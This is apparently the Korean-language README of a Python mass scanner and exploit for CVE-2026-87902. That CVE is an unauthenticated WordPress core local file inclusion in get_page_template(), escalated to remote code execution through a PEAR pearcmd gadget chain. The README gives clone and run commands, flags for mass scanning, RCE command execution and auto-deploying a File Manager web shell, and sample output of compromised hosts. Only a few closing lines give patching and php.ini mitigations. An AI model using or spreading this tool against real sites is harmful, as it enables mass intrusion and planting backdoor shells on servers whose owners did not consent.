
CVE-2026-87902에 대한 Python 대량 스캐너 및 익스플로잇으로, get_page_template()의 인증되지 않은 WordPress 코어 LFI가 PEAR 가젯 체인과 File Manager 셸을 통해 RCE로 확장됩니다.
CVE-2026-87902는 WordPress 코어의 치명적인 인증 불필요 로컬 파일 포함(LFI) 취약점으로, PEAR 가젯 체인을 통해 원격 코드 실행(RCE) 으로 이어집니다.
이 취약점은 wp-includes/template.php:get_page_template()에 존재하며, 이 함수는 공개 pagename 쿼리 변수($_POST에서 읽음)를 사용하여 템플릿 이름을 구성하면서 validate_file()을 거치지 않습니다. locate_template()은 file_exists()만 수행하므로, 활성 테마 내에 실제 page-* 디렉터리가 존재하면 전체 경로 순회가 가능해집니다.
┌─────────────────┐ ┌──────────────────┐ ┌──────────────────┐
│ Anonymous POST │───▶│ LFI via │───▶│ PEAR Gadget │
│ page_id + │ │ page-templates/│ │ config-create │
│ pagename │ │ ../../../ │ │ writes shell │
└─────────────────┘ └──────────────────┘ └──────────────────┘
│
▼
┌──────────────────┐
│ 💀 RCE + │
│ File Manager │
└──────────────────┘
| 제품 | 취약 버전 | 패치 버전 |
|---|---|---|
| WordPress Core | 4.7.0 → 7.1.1 | 7.1.2+ |
| 심각도 | 🔴 치명적 | — |
| CVSS 4.0 | 9.8 | — |
| 인증 | ❌ 필요 없음 | — |
# Clone repository
git clone https://github.com/HackfutSecRoot/CVE-2026-87902.git
cd CVE-2026-87902
# Install dependencies (stdlib only — no pip needed!)
python --version # Requires Python 3.8+
# 1. Create your targets file
echo "https://target.com" > targets.txt
echo "https://another-site.org" >> targets.txt
# 2. Non-destructive check (safe)
python main.py -l targets.txt --check --threads 20
# 3. Full exploit + File Manager
python main.py -l targets.txt --rce --shell --threads 10
| 모드 | 명령어 | 설명 |
|---|---|---|
| 🔍 검사 | python main.py -l targets.txt --check |
비파괴적 LFI 탐지 |
| 💥 LFI | python main.py -l targets.txt |
OPML 오라클로 LFI 확인 |
| ⚡ RCE | python main.py -l targets.txt --rce --command "id" |
PEAR를 통한 명령 실행 |
| 📁 셸 | python main.py -l targets.txt --rce --shell |
파일 관리자 배포 |
python main.py --help
-u, --url URL Single target URL
-l, --list FILE File with targets (one per line)
--check Non-destructive check only
--rce Enable RCE escalation
--shell Deploy File Manager shell
--command CMD Command to run (default: id)
--page-id N Force specific page ID
--threads N Concurrent threads (default: 20)
--timeout S Per-request timeout (default: 12)
--proxy URL HTTP(S) proxy
--output FILE Full log output
--output-vuln FILE Vulnerable targets only
--output-rce FILE RCE targets only
--no-color Disable ANSI colors
# Single target with RCE + File Manager
python main.py -u https://target.com --rce --shell --command "whoami"
# Mass scan with proxy (Burp Suite)
python main.py -l targets.txt --rce --proxy http://127.0.0.1:8080 --threads 5
# Custom page ID if discovery fails
python main.py -u https://target.com --page-id 2 --rce --shell
성공적으로 실행되면 다음 파일들이 생성됩니다:
| 파일 | 내용 |
|---|---|
📄 results.txt | 전체 스캔 로그 |
🎯 vulnerable.txt | LFI가 확인된 대상 |
💀 rce.txt | RCE에 성공한 대상 |
📁 shells.txt | 파일 관리자 URL |
======================================================================
CVE-2026-87902 Mass Scanner v3.0
WordPress get_page_template() Unauthenticated LFI -> RCE
GHSA-7hp8-65ch-5whp | CVSS 9.8 | CWE-22
Affected: WordPress 4.7.0 - 7.1.1
Payload: File Manager (auto-deploy)
======================================================================
Mode : EXPLOIT + FILE MANAGER
Targets : 50
Threads : 20
Timeout : 12.0s
Started : 2026-09-28 14:32:15
======================================================================
[14:32:16] [+] https://target1.com | VULNERABLE | LFI confirmed: wp-links-opml.php via page-templates/../../../../ (page_id=2, POST, depth=4)
[14:32:17] [*] https://target1.com | Starting RCE + File Manager...
[14:32:18] [+] Gadget found: /usr/share/php/pearcmd @ depth=7
[14:32:19] [$] File Manager deployed: https://target1.com/?page_id=2&pagename=...
[14:32:19] [$] https://target1.com | File Manager | https://target1.com/...
[14:32:20] [-] https://target2.com | NOT_VULN | Patched: 7.1.5 >= 7.1.2
[14:32:21] [!] https://target3.com | POSSIBLY | Vulnerable version (5.8.1) but OPML oracle didn't fire
[14:32:22] [!] https://target4.com | RCE | uid=33(www-data) gid=33(www-data)
======================================================================
SCAN SUMMARY
======================================================================
Total scanned : 50
Vulnerable : 12
RCE achieved : 8
File Managers : 8
Possibly vuln : 5
Not vulnerable : 28
Not WordPress : 3
Errors : 2
Elapsed : 45.2s
Rate : 1.1 hosts/s
======================================================================
시스템 관리자라면:
7.1.2 이상으로 업데이트하세요6.8.10, 7.0.6, 7.1.2pagename에 ../ 또는 %2e%2e가 포함된 요청을 차단하세요php.ini에서 register_argc_argv를 비활성화하세요 (PEAR 체인 차단)pearcmd.php를 제거하세요; php.ini
register_argc_argv = Off